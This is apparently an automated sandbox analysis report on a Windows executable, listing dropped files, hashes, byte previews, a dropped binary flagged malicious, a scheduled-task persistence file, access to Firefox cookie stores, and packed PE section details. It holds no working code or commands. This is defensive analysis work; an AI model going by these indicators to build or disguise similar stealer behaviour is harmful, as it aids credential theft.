File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3176_479203449\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_479203449\ac6138a4-e3d3-4af0-8ba1-fb09359325ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 17:22:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9734454336312797
Encrypted:	false
SSDEEP:	48:81d8TAMwHPjidAKZdA19ehwiZUklqehjy+3:8kfcoy
MD5:	20C2CBB600CC895392A1A2C0BBCD3C7A
SHA1:	BD8A0FEAA593987B0B070877DF18638B61555D69
SHA-256:	83A0C67A16075354E1B2872BB86E6D34A5751BE41B785A9CA4A6A26D5F600AAE
SHA-512:	6DDDDA9053F95E0BD15EE68653CF4E47F8D1D8DF9653B347F0FF9DE20F2ADCA3A21311E73FFBE15122CCBA2B8603A4EC01A0FEE1C47265AFDE9D7D6279B78C7D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....&.ktT8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 17:22:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9883456433722806
Encrypted:	false
SSDEEP:	48:8PRd8TAMwHPjidAKZdA1weh/iZUkAQkqehYy+2:8Qfu9Qpy
MD5:	EA2F3BB844DD0BC51CAFCD2BE344B6AF
SHA1:	E382236A8A5A8BB5A9F104E00CFF359C01F76D92
SHA-256:	3D8797CD5E20416854C489B9D2CB95834762975817F94025C34D6A336AD3E69C
SHA-512:	1A64224A6C0306885B7104AC4F9C6AF42E11C4EACC0EC69FE2582F8F4218A40D27F2F3678909A0FAAAAF3DB41A67A10C426F212919E8AB2EB82261800A1BB3C6
Malicious:	false
Preview:	L..................F.@.. ...$+.,....&7btT8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0036090451603386
Encrypted:	false
SSDEEP:	48:8xtd8TAMsHPjidAKZdA14tseh7sFiZUkmgqeh7s2y+BX:8xcfCn0y
MD5:	E0931BEB25E7BFDF480A32225DAB9795
SHA1:	16A10A87DB6617DE9C2B548D2800EE40BBCD7E69
SHA-256:	42C9022EE776BF00CFDE0FDD6E6CFC51FEC087DE65A6FE6F44C2976CA4D5AFE0
SHA-512:	EDD7129D60EDAB4F1C341E52E9ECF5D53D46B60C3443BB954C6EDB24E48680AAC3B6FFD0242DAB954A80835147F19936EB03FB776F8DB8493CDB1EB7594AE63E
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 17:22:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9869053724217176
Encrypted:	false
SSDEEP:	48:8pd8TAMwHPjidAKZdA1vehDiZUkwqehMy+R:8Af1uy
MD5:	F7F80B18E0E5191210BC30D031541946
SHA1:	C011D454B320173C1CC1241351EC40A7EEC88ABE
SHA-256:	39556C18B786AB88F7947C75E5266318715F92554E459160526C3A24EA84977E
SHA-512:	136EC8E8819EB6EFAB503E93503538EDA5E426890E73DEF4BF947E6CFBE8D94F2A07B1B072FBB587DE61AF2FEF1DDDB8A2BFB985E4A08E012A7B1EA7A2D4A023
Malicious:	false
Preview:	L..................F.@.. ...$+.,......\tT8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 17:22:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9775946346581286
Encrypted:	false
SSDEEP:	48:8D7d8TAMwHPjidAKZdA1hehBiZUk1W1qehCy+C:8Dmfl9iy
MD5:	BBA230C1BBE8C09030775EEF0CCCE22C
SHA1:	70D27EACF76E0D7F96D48E44E83C2360206A7BF7
SHA-256:	3D4EDF1A03122BCADBC4E3BBFA8F330DFBA7C62E407CFCCC2CE959475B510082
SHA-512:	D3ED2DC199AE1892266D20E058AA6AB0D4892B0709D7AF21C9806E0E116E8E1FCE7C78F1DE5F4ECA4D35AF78DF1228A768E1A78CFDE1A1858FEB6A9574691A6D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......ftT8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 17:22:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.988709307094925
Encrypted:	false
SSDEEP:	48:8Wd8TAMwHPjidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb0y+yT+:8Bf5T/TbxWOvTb0y7T
MD5:	36BDCF18745373333DFA466AA3E454E0
SHA1:	752D3B0AA0AF26B4432D23E7E7547C60B6070B9F
SHA-256:	8DF5BFD86C0CE95401B78C802222E87F1682F95FAFB96038BAC2843EBB4222E8
SHA-512:	5133FF35E6812F988C6657059762181F504945D159E8A3084731EE87B9B2F357F704E965CD4A213B6EB1B60F156D0FAB1EB3B539E7C5C81B16BE4FBCAA2AA65C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....RtT8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsKFBGDBFBKK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3254784
Entropy (8bit):	6.641437933472284
Encrypted:	false
SSDEEP:	98304:XpIkHB5gEXQO7noimWVXCLPIberdxm8UsM4:XF5gojWP7HZM4
MD5:	3C2DD6E6C50D2E0FFA7D6BFDE254ABE5
SHA1:	EB107CCDADC4599A8D934520BA4651AD8B42E2FD
SHA-256:	7CFE09665241B5CE3826965871E30BAF271E0388E930B005678CE6FA672523EF
SHA-512:	A88129805E62DD26F995BFE69E364C495B753274D5EEC3D60DE454260937840231481486DDD0888E39371F5090C92C2B53C0EE91FBCBC85FAD572048F5751972
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......R2...@.................................W...k.......H.....................1.............................0.1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...ygppzwcz..........................@...slwnaylp......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKFBGDBFBKK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.409876616073247
Encrypted:	false
SSDEEP:	6:3t+ev2tX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB1lzt0:9wuQ1CGAFifXVBvzt0
MD5:	D426238361D6B7B3ED334DAF46321D92
SHA1:	1483122170F647820A46C94BD123C1DB578F2AD8
SHA-256:	E16DB435DC91C91306B3D8127D71D71D99A41AA8670771CE5E2D8634D0CBA4A8
SHA-512:	83851E4CBCD8FECDF5E69F0053BA6474B52F1A6C91292CCC73F2DB5921EBCD71FDBB2D22DC2757C6F37ECBBFB1ADD2F14033AAD679BC7DD1CF0F3AF567C5D640
Malicious:	false
Preview:	..........ZO........F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945174497886702
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'786'368 bytes
MD5:	25e27549e1527d5aaf41a3c33ad2e6d4
SHA1:	635720e9d526da14d1130b79c079c119ed27d61c
SHA256:	661b613ae0265d5595e719f7cb755ed063f15b31ba1e91dc02198bfa9974f5c3
SHA512:	94ebd0e674433fb3e9f31c6b2ababae1c1fc1debaa3611d662a898439da49626596828dcb15d921b9737fdf04971192afa691fd7ac9a93831bc026a5bd768d09
SSDEEP:	49152:vYkfGoS6W7+sYndheQ2uXi04ya80Rml/n5tjil0:vKtf7ZC2Tzr80El/5t
TLSH:	A28533D3E5388433D5AD13386CFFE3ABBD3809C2D6AD4B66531513289635EDC622962C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa89000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F44A52D5D8Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	019bc1978448e1854914bdfa0eeeb1aa	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	c0ab16a58181f3fd479fe7ad70d64666	False	0.79296875	data	6.07470582227066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a1000	0x200	bd6575655a2486e09368ae940be1418d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kisxtbux	0x4ed000	0x19b000	0x19a400	3db8933237ae3a56cfb91fd69fc45a0c	False	0.9947458438071298	data	7.953632215680603	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
judtkvec	0x688000	0x1000	0x400	5de109be851b7c2547131fcbbd491fe9	False	0.802734375	data	6.088712193210397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
